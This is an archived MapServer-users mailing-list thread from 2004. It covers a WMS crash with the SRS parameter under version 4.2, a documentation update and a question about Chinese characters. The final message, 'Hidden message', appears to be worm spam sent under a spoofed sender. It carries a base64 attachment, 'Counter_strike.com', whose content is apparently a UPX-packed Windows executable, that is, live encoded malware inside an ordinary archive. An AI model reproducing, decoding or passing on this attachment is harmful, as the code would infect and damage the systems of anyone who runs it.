<6584.207.107.247.18.1086984129.squirrel@webmail.xs4all.nl> References: <2A6FDD75AE04BE4A9E8C918D3C09FB0770A4@ptolemy.topozone.com> <40C97F5E.8030009@geodan.nl> <6584.207.107.247.18.1086984129.squirrel@webmail.xs4all.nl> Message-ID: <40CA1A9E.5040604@geodan.nl> Ha Bart, I downloaded that zip file and indeed this version doesn't show the crashing behaviour. So as far as I know the problem is solved in version 4.2 for both Linux and Windows. It's a pity the 4.2 windows binary is not yet available in the standard mapserver download pages... Kind regards, John. bartvde at xs4all.nl wrote: >Hi John, > >4.2 release binaries are available at Maptools.org. I would suggest to try >them out to see if the problem really disappeared. > >http://www.maptools.org/dl/mapserver-4.2.0-win32-php4.3.4.zip > >Best regards, >Bart > > > >>Ed McNierney wrote: >> >> >> >>>Folks - >>> >>>What version of MapServer are you running when you get this crash? My >>>memory is being fuzzy right now, but there was a bug quite a while ago >>>that had something to do with a buffer/pointer problem with SRS >>>parameters (I think). I ran into it and Daniel fixed it - but it was >>>rather a long time ago. If you're using an old version of MapServer, >>>try something newer. >>> >>> >>> >>> >>> >>Hi again, >> >>The crash 'succeeded' with MapServer version 4.2-beta2 on W2K (from >>http://160.94.77.165/ms42b2_gif_pg.zip). As far as I know, mapserver >>version 4.2 is only available as a beta, so after suggestions to upgrade >>to version 4.2, it seemed worth to try to build mapserver 4.2 on Linux. >>With this version the crash does NOT occur and the url returns an image >>with or without srs parameters for both desired projections. >>Question that remains is if the problem in beta2 occurred because of >>the beta status or because of the windows version? >> >>John. >> >> >> >>> - Ed >>> >>>Ed McNierney >>>President and Chief Mapmaker >>>TopoZone.com >>>-----Original Message----- >>>From: mapserver-users-admin at lists.gis.umn.edu >>>[mailto:mapserver-users-admin at lists.gis.umn.edu] On Behalf Of >>>craig.gould at bt.com >>>Sent: Thursday, June 10, 2004 9:17 AM >>>To: Tom.Kralidis at ec.gc.ca; john.pulles at geodan.nl; >>>mapserver-users at lists.gis.umn.edu >>>Subject: RE: [Mapserver-users] crash using srs parameter in getmap >>>request >>> >>>Tom, >>> >>>If John's crash is anything like the crash I experienced then it is the >>>actual mapserv process on the machine that crashes with a null pointer >>>exception somewhere. >>> >>>This crash only happens with certain types of projections. I was using >>>British National Grid (BNG). The native projection of the WMS server was >>>BNG, and the native projection of the WMS client was BNG. However if I >>>include the SRS parameter then the map server process on the WMS server >>>crashed (however not if you used a browser and did a standard request). >>>If I took out the SRS parameter via a redirecting page the process did >>>not crash. >>> >>>Upper and lower case made no difference for me. The application still >>>crashed. >>> >>>BTW, when I found this problem I posted it on this list, but got no >>>answer back. Since then at least two other people have posted similar >>>problems. Each time I've let them know how I got round the problem. >>>Unfortunately I can't get seem to get map server to compile on my win >>>machine so I can't look into where this may be happening. >>> >>>Craig. >>> >>> >>> >>> >>>-----Original Message----- >>>From: Kralidis,Tom [Burlington] [mailto:Tom.Kralidis at ec.gc.ca] >>>Sent: 10 June 2004 14:04 >>>To: Gould,CR,Craig,XGH6A C; john.pulles at geodan.nl; >>>mapserver-users at lists.gis.umn.edu >>>Subject: RE: [Mapserver-users] crash using srs parameter in getmap >>>request >>> >>> >>> >>>Comments: >>> >>> >>> >>>- What do you mean by MapServer crashing? Are you getting a 500 error? >>>Are you getting an OGC Service Exception Report XML document? >>>- What is the *native* projection of the data? This is what should be >>>declared in the PROJECTION block foreach layer >>>- try your "wms_srs" declaration with lowercase (i.e. "init=epsg:28992") >>>- trying a WMS GetMap request without the SRS keyword is an invalid >>>request, and should throw an exception >>>- WMS is not the problem. A WMS shall support all SRS projections it >>>advertises in Capabilities >>> >>>..Tom >>> >>>========================= >>>Tom Kralidis >>>Systems Scientist >>>Environment Canada >>>Tel: +01-905-336-4409 >>>http://www.ec.gc.ca/ >>> >>> >>> >>> >>> >>> >>> >>>>-----Original Message----- >>>>From: mapserver-users-admin at lists.gis.umn.edu >>>>[mailto:mapserver-users-admin at lists.gis.umn.edu] On Behalf Of >>>>craig.gould at bt.com >>>>Sent: Thursday, June 10, 2004 7:33 AM >>>>To: john.pulles at geodan.nl; mapserver-users at lists.gis.umn.edu >>>>Subject: RE: [Mapserver-users] crash using srs parameter in >>>>getmap request >>>> >>>> >>>>John, >>>>I and a few others have found the same problem. >>>>The way round it is to create a web page that is called >>>>instead of the opengis mapserver. This page forwards the >>>>request to the mapserver but strips out the SRS paramater. If >>>>the map server is using the projection you want returned by >>>>default, then everything ends up OK. BTW this only happens >>>>with certain projection types. Regards, Craig. >>>> >>>> >>>>-----Original Message----- >>>>From: mapserver-users-admin at lists.gis.umn.edu >>>>[mailto:mapserver-users-admin at lists.gis.umn.edu] On Behalf Of >>>>John Pulles >>>>Sent: 10 June 2004 10:28 >>>>To: mapserver-users at lists.gis.umn.edu >>>>Subject: [Mapserver-users] crash using srs parameter in getmap request >>>> >>>> >>>>Hi List >>>> >>>>Using a map file with projection settings as shown below, I >>>>get a crash of mapserver when doing an opengis getmap request >>>>with &srs=epsg:28992. With an absent srs parameter or with >>>>&srs=epsg:4326 a correct map is returned. Does anyone have an >>>>idea what could be wrong? >>>> >>>>BTW: I am using MapServer version 4.2-beta2 on W2K, with the >>>>PROJ_LIB environment variable set to the directory containing >>>>the epsg file. >>>> >>>> >>>>Regards, >>>>John Pulles. >>>> >>>>MAP >>>> NAME "Demo" >>>> >>>> PROJECTION >>>> # RD >>>> "init=EPSG:28992" >>>> END >>>> >>>> EXTENT 10000 305000 280000 619000 >>>> >>>> SHAPEPATH "c:\kaarten" >>>> UNITS meters >>>> >>>> WEB >>>> METADATA >>>> "wms_title" "Demo" >>>> "wms_srs" "EPSG:4326 EPSG:28992" >>>> END >>>> END >>>> >>>> LAYER >>>> NAME provincies >>>> DATA "provincies" >>>> STATUS ON >>>> METADATA >>>> "wms_title" "Provincies" >>>> "wms_srs" "EPSG:4326 EPSG:28992" >>>> END >>>> TYPE POLYGON >>>> CLASS >>>> COLOR 212 212 212 >>>> OUTLINECOLOR 0 >>>> END >>>> PROJECTION >>>> # RD >>>> "init=EPSG:28992" >>>> END >>>> END >>>>END >>>> >>>>-------------------- >>>> >>>> >>>> >>>> >>>>_______________________________________________ >>>>Mapserver-users mailing list Mapserver-users at lists.gis.umn.edu >>>>http://lists.gis.umn.edu/mailman/listinfo/maps> erver-users >>>> >>>> >>>>_______________________________________________ >>>> >>>>Mapserver-users mailing list >>>>Mapserver-users at lists.gis.umn.edu >>>>http://lists.gis.umn.edu/mailman/listinfo/maps> erver-users >>>> >>>> >>>> >>>> >>>> >>>_______________________________________________ >>>Mapserver-users mailing list >>>Mapserver-users at lists.gis.umn.edu >>>http://lists.gis.umn.edu/mailman/listinfo/mapserver-users >>> >>> >>> >>> >>> >>> >>> >>-- >> >>------------------------------------- >>Geodan IT b.v. >>Buitenhaven 27-A >>5211 TP 's-Hertogenbosch (NL) >>------------------------------------- >>Tel: +31 (0)73 - 692 5151 >>Fax: +31 (0)73 - 692 5150 >>Mobiel: +(0)6 - 1234 5678 >>------------------------------------- >>Postadres / mailing address >>President Kennedylaan 1 >>1079 MB Amsterdam (NL) >>------------------------------------- >>E-mail: john.pulles at geodan.nl >>Website: http://www.geodan.nl >>Disclaimer: http://www.geodan.nl/disclaimer >>------------------------------------- >> >> >> >>_______________________________________________ >>Mapserver-users mailing list >>Mapserver-users at lists.gis.umn.edu >>http://lists.gis.umn.edu/mailman/listinfo/mapserver-users >> >> > > > > > > > > -- ------------------------------------- Geodan IT b.v. Buitenhaven 27-A 5211 TP 's-Hertogenbosch (NL) ------------------------------------- Tel: +31 (0)73 - 692 5151 Fax: +31 (0)73 - 692 5150 Mobiel: +(0)6 - 1234 5678 ------------------------------------- Postadres / mailing address President Kennedylaan 1 1079 MB Amsterdam (NL) ------------------------------------- E-mail: john.pulles at geodan.nl Website: http://www.geodan.nl Disclaimer: http://www.geodan.nl/disclaimer ------------------------------------- From kgeurts at gis.umn.edu Fri Jun 11 14:53:08 2004 From: kgeurts at gis.umn.edu (kgeurts) Date: Fri, 11 Jun 2004 16:53:08 CDT Subject: [Mapserver-users] RE: Documentation Website Update Message-ID: <200406112153.i5BLr85O005481@trojan.software.umn.edu> Hello MapServer Users, The MapServer Documentation Project website has been updated to reflect the 4.2 release (http://mapserver.gis.umn.edu/doc.html). Further updates to the website will be made as additional documents become 4.2 compatible. There is a link to old versions from the main page. Documentation authors ? if you have not already committed your 4.2 compatible document, remember to commit to both the branch-4-2 and main branch of the CVS. Please include the version number 4.2 in the title of the document and add a history revision section. Thank you very much for your participation in MapServer, Kari A. Geurts MDP Coordinator Department of Forest Resources University of Minnesota 1530 Cleveland Ave N. St. Paul, MN. 55108 Phone: 612-624-3459 Fax: 612-625-5212 From boli611 at hotmail.com Fri Jun 11 22:58:09 2004 From: boli611 at hotmail.com (boli) Date: Sat, 12 Jun 2004 13:58:9 +0800 Subject: [Mapserver-users] (no subject) Message-ID: Hello everybody, I got a vector map which include records with Chinese character in dataset. While the Chinese character can't be displayed correctly by Mapserver. Can you give me some advice? From steve.lime at dnr.state.mn.us Sat Jun 12 05:14:52 2004 From: steve.lime at dnr.state.mn.us (Steve.lime) Date: Sat, 12 Jun 2004 06:14:52 -0600 Subject: [Mapserver-users] Hidden message Message-ID: ----------alxhhjbipjsogywanxwg Content-Type: text/html; charset="us-ascii" Content-Transfer-Encoding: 7bit
----------alxhhjbipjsogywanxwg Content-Type: application/octet-stream; name="Counter_strike.com" Content-Transfer-Encoding: base64 Content-Disposition: attachment; filename="Counter_strike.com" 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 